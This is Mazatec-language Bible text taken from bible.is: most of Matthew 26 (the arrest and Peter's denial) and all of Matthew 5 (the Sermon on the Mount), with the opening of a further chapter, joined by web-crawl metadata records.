sa̱kò‑la̱ kjoa̱nìhijcha'ta ra a̱'ta 'tse̱ jé‑la̱. 29'Koa̱á xin‑no, mì ti̱ kì nandá xán 'tse̱ uva sk'i̱‑na skanda 'kia̱ nga ki̱jchò ni̱chjin nga ma sk'i̱ko̱‑no nandá xán xi̱tse̱ ya̱ ñánda̱ nga tíbatéxoma Na̱'ín‑ná. 30Jè Jesús ko̱ jñà xi̱ta̱‑la̱, 'kia̱ nga ijye kise jngo‑la̱ so Nainá, a̱kjòn ya̱á kijì ya̱ a̱'ta nindo Yá Olivo. 31Jesús kitsó‑la̱ xi̱ta̱‑la̱: ―Jè ni̱tje̱n ra̱kìi̱, si̱kíjna ta̱jngo‑nájiòn nga'tsì‑no, nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Si'kén‑ná jè chji̱ngo̱ cho̱ ko̱ jñà forrè‑la̱ ko̱chi̱jndí‑ní.\" 32Tanga 'kia̱ nga ijye kjoa̱áya india‑na, ya̱á kjín ítjòn‑no ya̱ ján nangi Galilea. 33Kitsó jè Pedro: ―Ni̱'sín tsjín‑takòn‑li nga'tsì jñà xi̱ta̱‑li ra i'ka, tanga 'a̱n, ni̱ i̱tsé tsjin-tákon‑la. 34'Kia̱á kitsò‑la̱ Jesús: ―'Koa̱á xin kixi̱‑la, jè ni̱tje̱n ra̱kìi̱, 'kia̱ nga ti̱kje kjindáya káxti̱, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná. 35Kitsó jè Pedro: ―Ni̱'sín ya̱ katiyako̱o‑la mì kì kjójna̱'ma jiàa̱n. Ko̱ ngásòn kitsò nga'tsì jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús. 36'Kia̱ ijchò Jesús ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱ ñánda̱ 'mì Getsemaní. Kitsó‑la̱: ―Ya̱ ti̱tsa̱jna i̱jndíi̱; 'koa̱à‑la chi̱ba̱‑la̱ nga kjián ján nga kichjà'ta‑la̱ Nainá. 37Jesús kiìko̱ó jè Pedro ko̱ ngajò i̱xti‑la̱ Zebedeo. A̱kjòn kjo'tsia̱ nga 'ñó kjoba‑la̱ ko̱ 'ñó isíkájno inìma̱‑la̱. 38'Kia̱á kitsò‑la̱ xi̱ta̱‑la̱: ―Taxki̱ 'ñó ba tjín‑la̱ jè inìma̱‑na̱; sí 'koa̱á ma‑na koni tsa ki̱yáa̱. Ya̱ ti̱tsa̱jna i̱jndíi̱ nga ti̱tsa̱jnakon ko̱‑ná. 39Kijíkjá chiba‑isa Jesús. A̱kjòn tsasèn-xkó'nchi-niñanè i̱sén‑la̱ skanda ya̱ a̱'ta nangi nga kiìchja̱'ta‑la̱ Nainá, kitsò: ―Ji̱, Na̱'ìn, tsa mejèn‑li, chjíixìn‑ná kjo̱hi'in ra̱kìi̱, tanga mì tsa ko̱'sín katama koni 'sín mejèn‑na. 'Koa̱á 'sín katama koni 'sín mejèn‑li ra ji̱. 40A̱kjòn 'jií india‑ni ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ ra kotá'yá'ta‑la̱, tanga ijyeé kjifè. Kitsò‑la̱ Pedro: ―¿A skanda mí káchíkjoa̱ jngo hora‑najiòn nga kabitsa̱jnakon ko̱‑ná? 41Ti̱tsa̱jnakon ko̱ ti̱nákjoa̱'ta‑la Nainá mé‑ni nga mì jé ska̱jin‑no. Kixi̱í kjoa̱, jè inìma̱‑no tíjnanda‑ní nga mejèn‑la̱ síhitjasòn, tanga ra jè ijo‑no, tsìn‑la̱ nga'ñó nga ma‑la̱ síhitjasòn. 42Kijí india‑ni ra ma‑ni jò 'ka̱, nga kiìchja̱'ta‑la̱ Nainá. Kitsò: ―Ji̱, Na̱'ìn, tsa majìn‑li nga chjíixìn‑ná jè kjo̱hi'in ra̱kìi̱, ko̱'sín katabitjasòn koni 'sín ji̱ mejèn‑li. 43'Kia̱ nga 'ji india‑ni, jñà xi̱ta̱‑la̱ takó kjifé india‑ni ta nga̱tjì‑la̱ nga̱ 'ñó nijñá‑la̱. 44Kijí india‑ni ra ma‑ni jàn 'ka̱ nga kiìchja̱'ta‑la̱ Nainá. Ya̱á isíkítsa̱jna jñà xi̱ta̱‑la̱. Takó ta 'koa̱á 'sín kitsò nga kiìchja̱'ta‑la̱ Nainá koni 'sín kitsò nga 'sa̱ ítjòn. 45'Kia̱á 'ji india‑ni ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ ra kotá'yá'ta‑la̱. Kitsò‑la̱: ―Tsjafè‑isa ko̱ nda ti̱kjáya. Tanga ijyeé ijchó chi̱ba̱‑la̱ nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ ya̱á ko̱nga̱tsja jñà ra xi̱ta̱‑jé. 46Ti̱sítje̱en ko̱ tjiaán, ijyeé nchrabá chraña jè ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 47Takó ti̱'kia̱á tíchja̱‑isa‑ni Jesús nga 'ji jè ra 'mì Judas, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni. Kjín jchán xi̱ta̱ tji̱ko̱ ra 'ya ki̱cha̱ ndajò ti̱'koa̱ 'ya yá. Jñà xi̱ta̱ kìi̱, jñá isìkasén jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ jchínga ra 'tse̱ xi̱ta̱ judío. 48Judas, jè ra tsi'kéna̱jmí'tin Jesús, tje̱n kitsò ítjòn‑la̱ jñà xi̱ta̱ ra tji̱ko̱. ―Jè ra skíne̱'ta i̱sén‑la̱, jè‑ní ra ki̱nda̱ba̱'ñó jiòn. 49A̱kjòn kiì kasi'ta chraña‑la̱ Jesús. Kitsò‑la̱: ―Nda‑li Maestro. A̱kjòn iskine'ta i̱sén‑la̱. 50Jesús kitsó‑la̱: ―Ji̱ ndse, ¿mé xá ra kà'fìi̱‑ni? Jñà xi̱ta̱ ra tji̱ko̱ Judas, ndi̱to̱ón kiì kincha'ta‑la̱ Jesús, a̱kjòn itsabá'ñó. 51Tanga jngo xi̱ta̱ ra tji̱ko̱ Jesús, tsachrje ki̱cha̱ ndajò‑la̱. Tsajá‑la̱ jè xi̱ta̱ chi̱'nda‑la̱ na̱'mì ítjòn; tsate'tà chíká‑la̱. 52Jesús kitsó‑la̱: ―Tjajnatjo‑nì jè ki̱cha̱ ndajò‑li, nga̱ nga'tsì ra ki̱cha̱ kjaán‑ni, ki̱cha̱á ki̱yá‑ni. 53¿A mí 'yi tsa mejèn‑na, maá síjé‑la̱ jè Na̱'ìn‑na̱, ko̱ ndi̱to̱ón si̱ìkasén‑na tsa tejò ko̱ tsa tejàn tji ìkja̱li̱ [nga ko̱si̱ko̱tjì‑na]? 54Tanga tsa ko̱'sín 'siaa̱n, ¿kó'sín ki̱tjasòn‑ni koni 'sín ijye tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò nga 'koa̱á 'sín ki̱tjasòn? 55Ti̱'kia̱á‑ni Jesús kitsò‑la̱ jñà xi̱ta̱ ra kjìn ma‑nioo̱: ―¿Mé‑ni ko̱'sín kà'fìi̱ ndabá'ñó‑ná jiòn koni tsa jngo xi̱ta̱ chijé nga ko̱ ki̱cha̱ ko̱ yá ki'chà‑no? Ni̱chjin nchijón ya̱ tsakáti̱jnako̱‑no ya̱ a̱ya i̱ngo̱ ítjòn nga tsakon‑yá‑no ko̱ mì kì indabá'ñó‑nájiòn. 56Tanga kií ko̱'sín ma‑ni mé‑ni nga ki̱tjasòn‑ni koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ra tsikínda jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ kjotseé. 'Kia̱á jahachinga nga'tsì jñà xi̱ta̱ ra kotá'yá'ta‑la̱, isíkíjna ta̱jngo jè Jesús. 57Jñà xi̱ta̱ ra itsabá'ñó Jesús ya̱á kiìko̱ ya̱ ñánda̱ tíjna jè na̱'mì ítjòn ra 'mì Caifás. Ya̱á títsa̱jna‑te jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío. 58Tanga jè Pedro tà kjin tà kjiín basèn-tji̱ngi skanda 'kia̱ nga ijchò ya̱ ndi̱tsin ni'ya‑la̱ na̱'mì ítjòn. 'Jaha'sen ya̱ ni'ya. Ya̱á tsikijnajin‑la̱ ya̱ ñánda̱ títsa̱jna jñà xi̱ta̱ ra síkinda̱ ni'ya i̱ngo̱; mején‑la̱ ske̱ kó'sín kje̱he'tà kjoa̱ kìi̱. 59Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, [ko̱ xi̱ta̱ jchínga], ko̱ nga'tsì xi̱ta̱ ra tjín‑la̱ xá a̱'ta 'tse̱ xi̱ta̱ judío tsakátsjií xi̱ta̱ ra kitsjà'tin 'én ndiso Jesús mé‑ni nga ko̱ma ki̱ìnè‑ila̱ kjo̱hi'in nga si̱ì'ken. 60Tanga ni̱mé kjoa̱ ra isakò‑la̱ ra a̱'ta 'tse̱ Jesús, ni̱'sín kjìn xi̱ta̱ ndiso ijchò ra kondra̱ 'tse̱. Tanga ra kjomà a̱skan, ijchó jò xi̱ta̱ ra ijchòko̱ 'én ndiso, 61nga kitsò: ―Jè xi̱ta̱ ra̱kìi̱, kitsó‑ní: \"Maá‑na nga sikíxojen ijye jè i̱ngo̱‑la̱ Nainá ko̱ ta̱ ján ni̱chjin kindá india‑na.\" 62'Kia̱á tsasijna kixi̱ jè na̱'mì ítjòn. Kitsò‑la̱ Jesús: ―¿A mí kósii̱? ¿Mé 'én ra ko̱tsò bánè‑li xi̱ta̱ kìi̱? 63Tanga jè Jesús mì kì kiìchja̱. Jè na̱'mì ítjòn kitsó‑la̱: ―'Tèna̱jmí kixi̱‑náji̱n ya̱ ngixko̱n Nainá ra tíjnakon. Ko̱'tín‑náji̱n, ¿a ji̱‑ní ra Cristo, ra I'ndí‑la̱ Nainá? 64Kitsó Jesús: ―Ji̱í ra ko̱'sín tjisi. 'Koa̱á xín‑te‑no, 'ndi̱í ma'tsia̱‑ni nga jcha̱‑nájiòn 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, nga ya̱ kóti̱jna ya̱ ngakixi̱‑la̱ Nainá ra tse nga'ñó tjín‑la̱, ko̱ ti̱'koa̱á jcha̱a 'kia̱ nga kji̱nchrabàjìa̱n ifi ya̱ ján ngajmi. 65Jè na̱'mì ítjòn iskíchrja̱yajnoó ijo‑la̱ nga 'ñó jti kjomà‑la̱, kitsò: ―Jè xi̱ta̱ ra̱kìi̱, jè Nainá kachja̱jno‑la̱ koni 'sín kàtsò nga kàchja̱. ¿Mé 'sia̱n‑isa‑ná xi̱ta̱ ra tsjá 'én? Jiòn sabá kàna'yá‑la koni 'sín kachja̱jno‑la̱ Nainá. 66¿Kó'sín ma‑no? ¿Mé ra si̱ke̱é? Kitsó nga'tsì xi̱ta̱: ―Tjín‑la̱ jé, bakén‑la̱ nga ki̱yá‑róoi̱. 67A̱kjòn tsikíchrá'a ko̱ tsi'ké‑la̱ chrjo̱ngo̱. Tjín ra isìjtsin'á ya̱ i̱sén‑la̱, 68kitsò‑la̱: ―Ji̱ Cristo [ra xá isìkasén‑li Nainá], ko̱'tín‑náji̱n, ¿yá ra tí'bé‑li? 69Jè Pedro ya̱á tíjna ya̱ ndi̱tsin ni'ya 'kia̱ nga ijchòjkon jngo chjo̱ón chi̱'nda ra kitsò‑la̱: ―Ya̱á tjájmekó‑ti Jesús ra ya̱ Galilea i̱'nde‑la̱. 70Tanga jè Pedro tsakja'ma‑ní ya̱ ngixko̱n nga'tsì xi̱ta̱. Kitsò: ―Mì kì be mé ra ko̱'mì‑la ji̱. 71'Kia̱ nga tíbitjo ya̱ xo̱tjo̱ba̱ ni'ya jè Pedro, ìjngo chjo̱ón kijtse ra 'koa̱ ti̱ kitsò‑la̱ jñà xi̱ta̱ ra ya̱ títsa̱jna. Kitsò: ―Jè xi̱ta̱ ra̱kìi̱, ya̱á tsá'bako̱‑te Jesús ra ya̱ Nazaret 'tse̱. 72Jè Pedro india tsikí'ma‑ni nga kitsjà 'én‑la̱, kitsò: ―¡Ngi 'én kixi̱‑ní, mì kì bexkon jiàa̱n jè xi̱ta̱ ra ko̱'mì‑la jiòn! 73Ra kjomà a̱skan, jñà xi̱ta̱ ra ya̱ títsa̱jna ijchò kincha'tá‑la̱ Pedro. Kitsò‑la̱: ―Kixi̱ kitií kjoa̱, nga xi̱ta̱‑la̱ Jesús‑ní ji̱; nga̱ tsijeén tsò 'én‑li. 74Jè Pedro 'kia̱á 'ñó kiìchja̱‑isa, kitsò: ―¡Katakajian kjo̱hi'in tsa mì tsa 'én kixi̱ ra ko̱tíxian‑no nga̱ mì kì bexkon xi̱ta̱ ra̱kìi̱! Ko̱ ti̱'kia̱á‑ni nga iskindaya jè káxtí. 75'Kia̱á itjokítsjen‑la̱ Pedro koni 'sín kitsò‑la̱ Jesús: \"'Kia̱ nga ti̱kje kjindáya káxti̱, jàn 'ka̱ ko̱síi̱ nga mì kì 'yaxkon‑ná.\" 'Kia̱á itjo ndi̱tsiaán, ko̱ taxki̱ 'ñó iskindaya.\nSan Mateo 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/26","date":"2013-12-12T13:50:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164587361\/warc\/CC-MAIN-20131204134307-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1723,"character_repetition_ratio":0.075,"word_repetition_ratio":0.004,"special_characters_ratio":0.244,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jesús, k'e̱ nga kijtseè ngats'iì xi̱ta̱ xi kjìn ma‑ne, kiìmijìn‑jno ya̱ i̱sò'nga nindoò koa̱ ya̱á tsibìjna. Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ ijchò kinchat'aà‑la̱. 2Jesús k'e̱é tsakóya‑la̱ kitsò‑la̱: 3―Mé tà ndaà‑la̱ jñà xi̱ta̱ xi machi̱ya‑la̱ nga mochjeén‑la̱ kjo̱ndaà‑la̱ Nainá; xi̱ta̱ koi, jyeé ts'e̱ ngats'iì kjo̱ndaà xi tjín ya̱ ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 4'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi kjindáya; Nainá si̱ìjetakòn‑né. 5'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi indaàjiìn tjín ini̱ma̱‑la̱; jñà tjoé‑la̱ nangui xi Nainá jye k'oa̱s'ín kitsò nga jñà tsjá kjo̱tjò‑la̱. 6'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi 'ñó mejèn‑la̱ nga ki̱tasòn xi kjoa̱ kixi̱ xi Nainá síjé; Nainá ko̱si̱ko̱ nga ki̱tasòn kjoa̱ koi. 7'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi mahi̱ma̱keè xi̱ta̱ xi kj'ei̱í; Nainá ko̱hi̱ma̱keè ngajo‑ne jñà xi̱ta̱ koi. 8'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi tsjeè tjín ini̱ma̱‑la̱; jñà xi̱ta̱ koi, jñà‑né xi skoe̱xkon Nainá. 9'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi síkijna'nchán kjoa̱; Nainá ki'ndí‑la̱á ki̱tso̱‑la̱. 10'Mé tà ndaà‑la̱ jñà xi̱ta̱ xi kjo̱'in tjín‑la̱ nga fìtji̱ngui kondra̱‑la̱ xi̱ta̱, koi kjoa̱‑la̱ nga ndaà síkitasòn xi kjoa̱kixi̱. Xi̱ta̱ koi, jyeé ts'e̱ ngats'iì kjo̱ndaà xi tjín ya̱ ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 11'Mé tà ndaà‑nò k'e̱ nga jñà xi̱ta̱ ch'o ki̱tso̱‑nò nga ko̱tít'aà‑nò ko̱ k'e̱ nga ch'o si̱ìko̱‑nò, ko̱ k'e̱ nga 'én ndiso tsját'in‑nò xi kjoa̱ ts'a̱n. 12Tsja t'è‑là ini̱ma̱‑nò, koa̱ tsja t'è‑là takòn. Jñò, tseé kjo̱ndaà tjoé‑nò ján ngajmiì. Mìtsà tà jñò xi o̱tínìko̱‑nò. K'oa̱á ti̱s'ín kinìko̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá xi chinchima ítjòn‑nò. 13'Jñò, k'oa̱á s'ín ngaya‑nò koni tsà na̱xa̱ xi mochjeén‑la̱ xi̱ta̱ i̱sò'nde. Ta̱nga tsà jè na̱xa̱ mì ti̱ kiì si̱ìjnchra‑ne tsojmì, ¿kó ti̱s'ín ko̱chjeén‑ne? Mì ti̱ mé chjí‑la̱; xíxteèn‑ne ko̱ ya̱á ki̱nchanè xi̱ta̱. 14'Jñò, k'oa̱á s'ín ngaya‑nò koni tsà ni'ín xi mochjeén‑la̱ xi̱ta̱ i̱sò'nde. Tsà jngoò na̱xa̱ndá xi i̱sò'nga nindoò kijna, mìkiì ko̱ma kíjna'ma. 15K'e̱ nga jngoò ni'ín sit'a'í, mìtsà ya̱ si̱jnangui kaxa̱. Ya̱á si̱jna ñánda 'nga choòn, mé‑ne nga ko̱hiseèn yije‑la̱ xi̱ta̱ xi títsa̱jnaya ni'ya. 16Koni ni'ín xi síhiseèn‑la̱ xi̱ta̱, k'oa̱á s'ín ndaà ti̱jchá yijo‑nò nguixko̱n xi̱ta̱ xi kj'ei̱í, mé‑ne jñà xi̱ta̱ koi, jeya si̱ìkíjna Na̱'èn‑nò xi Nainá xi tíjna ngajmiì k'e̱ nga skoe̱‑nò nga ndaà titsa̱'nè. 17'Jñò, kì k'oa̱á s'ín nìkítsjeèn: mìtsà koi xá j'i̱‑na 'a̱n nga kochrjekànguia jè kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ jè xi tsakóya xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Tà sa̱á j'i̱ sìjngoò‑ná 'én xi tjít'aà kjo̱tíxoma. 18O̱kixi̱í xi xan‑nò, koni tjín na̱chrjein kíjna‑ìsa i̱sò'nde ko̱ ngajmiì, ni̱mé xi tjáxìn‑la̱ jè kjo̱tíxoma, ni̱jngoò punto ko̱ ni̱jngoò letra tjáxìn‑la̱, skanda kóni nga ko̱jngoò yije kjoa̱ xi tjít'aà kjo̱tíxoma. 19Jè xi̱ta̱ xi mìkiì síkitasòn koni s'ín tíchja̱ kjo̱tíxoma, na̱s'ín 'ñó chiba tíchja̱, ko̱ k'oa̱á s'ín okóya‑la̱ xi̱ta̱, k'oa̱á ti̱s'ín 'ñó chiba jcha̱‑la̱ ya̱ i̱jiìn na̱xa̱ndá xi jè otíxoma‑la̱ xi ngajmiì nchrobá‑ne. Ko̱ jè xi̱ta̱ xi síkitasòn kjo̱tíxoma‑la̱ Nainá ko̱ k'oa̱s'ín okóya‑la̱ xi̱ta̱ xi kj'ei̱í, jè xi̱ta̱ jè, jè xi 'ñó 'nga kíjna ya̱ i̱jiìn na̱xa̱ndá xi jè otíxoma‑la̱ xi ngajmiì nchrobá‑ne. 20O̱kixi̱í xi xan‑nò, tsà mìkiì ìsa̱ ndaà si̱kitasòn kjoa̱kixi̱ koni jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mìkiì ki̱tjás'e̱n‑jñoò ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 21'Jñò jye kina'yà koni s'ín ki'mì‑la̱ jñà xi̱ta̱ jchínga‑nò: \"Kì xi̱ta̱ nìk'eèn; ni̱ta̱ yá‑ne xi xi̱ta̱ si̱ìk'en, kjo̱'in s'e̱‑la̱.\" 22Ta̱nga 'a̱n k'oa̱á xan‑nò, tsà jngoò xi̱ta̱ xi ko̱jtikeè 'ndse̱, s'e̱é‑la̱ kjo̱'in. Jè xi ch'o ki̱tso̱‑la̱ 'ndse̱, xi̱ta̱xá tsjá‑la̱ kjo̱'in. Ko̱ jè xi 'ndse̱ ki̱tso̱‑la̱: \"Ngaji̱ ni̱mé chjí‑lè\", ok'ìn‑la̱ nga ján kjoi̱ i̱jiìn ni'ín ts'e̱ i̱'nde kjo̱'in. 23'Tsà k'e̱ nga kíkoi̱i tsojmì kjo̱tjò‑lè nga Nainá k'oi̱‑la̱ ya̱ i̱'nde tsjeè‑la̱, koa̱ ya̱ koi̱ìtsjeèn‑lè nga jè 'ndsì tjín‑la̱ kondra̱ tsi̱ji, 24ti̱kítsajnei tsojmì kjo̱tjò‑lè ya̱ i̱'nde tsjeè, i̱kjoàn tikìtsi'ba‑la̱ 'ndsì koa̱ k'e̱é ko̱ma si̱kítsajnei tsojmì‑lè. 25'Tsà tjín xi̱ta̱ xi ko̱hòngui‑lè nga kji̱ko̱‑lè ni'ya osen, k'e̱ nga tjaàya ndi̱yá, ni̱to̱ón jchi̱bàndaà‑nò, mé‑ne nga mì ya̱ kji̱ko̱‑lè nguixko̱n xi̱ta̱xá, ko̱ jè xi̱ta̱xá mì ya̱ tsjá‑la̱ kinda̱ jñà policía nga mì nda̱yá kji̱ko̱‑lè. 26O̱kixi̱í xi xan‑lè, mì ti̱ kiì ko̱ma ki̱tjo̱o‑ne nda̱yá skanda k'e̱ nga kíchjítjì yijo‑lè nga yije xi si̱ìjé‑lè xi̱ta̱xá. 27'Jñò, jye kina'yà koni s'ín ki'mì‑nò kjòtseé: \"Kì kjoa̱ chijngui 'nè.\" 28Ta̱nga 'a̱n k'oa̱á xan‑nò, ni̱ta̱ yá‑ne xi kotsejèn‑jno jngoò chjo̱ón nga fahajiìn‑la̱, jye kjoa̱ chijngui tís'ín koni títsò ini̱ma̱‑la̱. 29'Tsà jñà xkoòn kixi̱ ótsji jé‑nò, ti̱nachrjeè; kjiìn ti̱katsjoò. Ìsa̱á ndaà‑ne tsà chija jngoò xkoòn mì k'oa̱á‑ne tsà ya̱ ki̱xo̱jiìn yije yijo‑nò ya̱ i̱jiìn ni'ín ya̱ i̱'nde kjo̱'in. 30Tsà jñà ndsei̱i kixi̱ ótsji jé‑nò, ti̱chátjòn; kjiìn ti̱katsjoò. Ìsa̱á ndaà‑ne tsà chija jngoò ndsei̱i mì k'oa̱á‑ne tsà ján kjoi̱ yijo‑nò i̱jiìn ni'ín ya̱ i̱'nde kjo̱'in. 31'K'oa̱á ti̱s'ín kis'eno̱jmí kjòtseé, ni̱ta̱ yá xi̱ta̱‑ne xi mejèn‑la̱ tsjín chjo̱ón‑la̱, ítjòn tjámiì'nga xo̱jo̱n xi tsjeiìn‑ne xíkjín xi̱ta̱. 32Ta̱nga 'a̱n k'oa̱á xan‑nò: tsà jngoò xi̱ta̱ x'i̱n xi tsjín chjo̱ón‑la̱, tsà mìtsà kjoa̱ chijngui tís'ín jè chjo̱ón, jè x'i̱n‑la̱ tíbít'in‑la̱ nga kjoa̱ chijngui kàtas'ín chjo̱ón. Jè chjo̱ón, k'e̱ nga ki̱xan ìjngoò k'a‑ne, jè x'i̱n xi ki̱xan‑ko̱, ti̱koa̱á jye kjoa̱ chijngui tís'ín. 33'Ti̱koa̱á jye kina'yà koni s'ín ki'mì‑la̱ jñà xi̱ta̱ jchínga‑ná: \"K'e̱ nga bixón: tíbeè Nainá, kì chona̱cha̱n‑jèn, ti̱kitasòn 'én‑nò.\" 34Ta̱nga 'a̱n k'oa̱á xan‑nò: K'e̱ nga 'bioò 'én‑nò, jngoò k'aá kì yá xi nìkíjna ítjòn. Kì k'oa̱s'ín bixón: \"Tíbeè ngajmiì.\" Nga jè ngajmiì, jè íxi̱le̱ kjo̱tíxoma‑la̱ Nainá. 35Ti̱koa̱á kì bixón‑jèn: \"Tíbeè i̱sò'nde\", nga jè nangui, ya̱á nchasòn ndso̱ko̱ Nainá. Ti̱koa̱á kì bixón‑jèn: \"Tíbeè na̱xa̱ndá Jerusalén\", nga jè na̱xa̱ndá jè, ts'e̱é Xi̱ta̱xá Ítjòn xi Nainá. 36Ti̱koa̱á kì skoò nìkíjna ítjòn k'e̱ nga mé 'én xi 'bioò. Nga mìkiì ko̱ma‑nò nga si̱jmà o si̱chroba jngoò tsja̱ skoò. 37Tà k'oa̱á s'ín ti̱nókjoa̱a \"jon\", o xi \"majìn\". Jñà 'én xi kjisòn, ya̱á nchrobá‑ne i̱t'aà ts'e̱ xi̱ta̱ nei̱í. 38'Jye kina'yà koni s'ín ki'mì‑nò kjòtseé: \"Tsà yá xi ko̱chrje jngoò xkoiìn, ti̱nachrjeè ngajo‑ne ts'e̱. Ko̱ tsà yá xi skoe̱toòn‑lè nga skónáje̱n jngoò ni'ñoi, chjínáje̱n ngajo‑ne ts'e̱.\" 39Ta̱nga 'a̱n, k'oa̱á xan‑nò: Ti̱kjeiín‑là xi̱ta̱ ts'e̱n. Tsà jngoò xi̱ta̱ xi si̱ìjts'iìn‑t'aà kjioòn kixi̱, ti̱koa̱á tjiì‑là xi ngobà nga kàt'eé‑la̱. 40Tsà jngoò xi̱ta̱ ko̱hòngui‑nò nga mejèn‑la̱ skoé na̱chro̱‑nò, ti̱koa̱ tjiì‑là na̱chro̱kisòn‑nò nga kàtakjoé. 41Tsà jngoò xi̱ta̱ xi kjò'ñó s'i̱n‑nò nga si̱ìkajen jngoò hora‑nò ch'á‑la̱ nga onguíko̱‑là, jò hora ìsa̱ kjiìn tanguíko̱‑là. 42Tsà yá xi̱ta̱ xi síjé‑nò tsojmì, tjiì‑là; ko̱ tsà jngoò xi̱ta̱ xi mejèn‑la̱ ski̱ñat'aà‑nò tsojmì, kì 'mì‑là: mìkiì ko̱ma. 43'Ti̱koa̱á jye kina'yà koni ki'mì‑nò kjòtseé: \"Ti̱tsjacha xi̱ta̱ xinguio̱o ko̱ ti̱jticha kondra̱‑nò.\" 44Ta̱nga 'a̱n k'oa̱á xan‑nò: Ti̱tsjacha jñà xi kondra̱‑nò, ti̱chikon‑t'ioòn jñà xi chja̱'on‑ko̱‑nò, ndaà ti̱ko̱o jñà xi jtikeè‑nò, titsi'batjiò jñà xi ch'o tsò‑nò ko̱ jñà xi ch'o síko̱‑nò. 45Tsà k'oa̱s'ín s'e̱én, ki'ndí‑la̱ Nainá xi tíjna ngajmiì ko̱ma; Nainá síhiseèn‑la̱ ndobá‑la̱ ts'oí xi̱ta̱ xi ndaà ko̱ xi mì kì ndaà; ti̱koa̱á Nainá sík'a‑la̱ jtsí jñà xi̱ta̱ kixi̱ ko̱ xi mìtsà xi̱ta̱ kixi̱. 46Jñò, tsà tà jñà matsjacha xi̱ta̱ xi matsjakeè‑nò, ni̱ mé kjo̱ndaà xi s'e̱‑nò; nga k'oa̱á ti̱s'ín jñà xi̱ta̱ xi síkíchjítjì tsojmì ts'e̱ Roma. 47Tsà tà jñà xi̱ta̱ xinguio̱o xi 'ndsè chiba si̱xat'aà, ¿a k'oa̱á ma‑nò nga 'ñó ndaà titsa̱'nè?; nga ti̱koa̱á jñà xi̱ta̱ xi mìkiì beèxkon Nainá, k'oa̱á ti̱s'ín. 48Jñò, nguì kjoa̱kixi̱í t'e̱en, koni jè Na̱'èn‑ná xi tíjna ngajmiì nga nguì kjoa̱kixi̱í s'ín.\nSan Mateo 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5","date":"2013-12-07T00:39:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052909\/warc\/CC-MAIN-20131204131732-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":1134,"character_repetition_ratio":0.077,"word_repetition_ratio":0.014,"special_characters_ratio":0.24,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1'K'oa̱s'ín tìbeno̱jmí‑nò kjoa̱ koi mé‑ne nga mìkiì ki̱nchat'aàxìn‑nò nga mokjeiín‑nò i̱t'aà ts'a̱n. 2Ko̱chrjekàjiìn‑nò ya̱ ni'ya i̱ngo̱ sinagoga. Ti̱koa̱ ki̱jchò na̱chrjein k'e̱ nga ni̱ta̱ yá‑ne xi si̱ìk'en‑nò k'oa̱á s'ín si̱ìkítsjeèn nga Nainá nchisíxá‑la̱. 3Koií kjoa̱‑la̱ nga k'oa̱s'ín s'i̱in‑ne nga mìkiì beèxkon Na̱'èn‑na̱, ti̱koa̱á 'a̱n mìkiì beèxkon‑na̱. 4Koií k'oa̱s'ín tìxan‑nò mé‑ne k'e̱ nga ki̱jchò na̱chrjein ki̱ìtsjeèn‑nò nga jyeé tsibeno̱jmíya yije‑nò. K'e̱ nga sa̱ ítjòn, mìkiì o̱kixan‑nò nga ya̱á tìjna̱ko̱‑nò. 5'Ta̱nga i̱'ndei̱, jyeé tìfiko̱‑na jè xi kisìkasén‑na. Jñò, ni̱jngoò chjinangui‑ná, ñánda tìfia. 6Tà saà kjoa̱ba tíjiìn ini̱ma̱‑nò, jè nga̱tjì‑la̱ koni tìxan‑nò kjoa̱ koi. 7'Én 